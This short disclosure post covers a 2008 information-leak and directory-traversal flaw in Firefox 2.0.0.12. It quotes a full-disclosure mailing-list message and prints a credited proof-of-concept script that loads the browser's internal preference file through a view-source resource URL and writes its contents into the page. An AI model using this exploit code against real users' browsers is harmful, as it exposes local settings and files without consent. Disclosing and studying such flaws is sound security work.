Firefox 2.0.0.12 is still vulnerable to directory trasversal:

"don't patch vulnerabilities

for fifty percent, take the time and fix the cause. Because directory

traversal through plugins is all nice and such, we don't need it. We

can trick Firefox itself in traversing directories back. I found

another information leak that is very serious because we are able to

read out all preferences set in Firefox, or just open or include about

every file stored in the Mozilla program files directory, and this

without any mandatory settings or plugins."

http://lists.grok.org.uk/pipermail/full-disclosure/2008-February/060156.html

/*

@name: Firefox <= 2.0.0.12 information leak pOc

@date: Feb. 07 2008

@author: Ronald van den Heetkamp

@url: http://www.0x000000.com

*/

pref = function(a,b) {

document.write( a + ' -> ' + b + '<br />');

};

</script>

<script src="view-source:resource:///greprefs/all.js">

</script>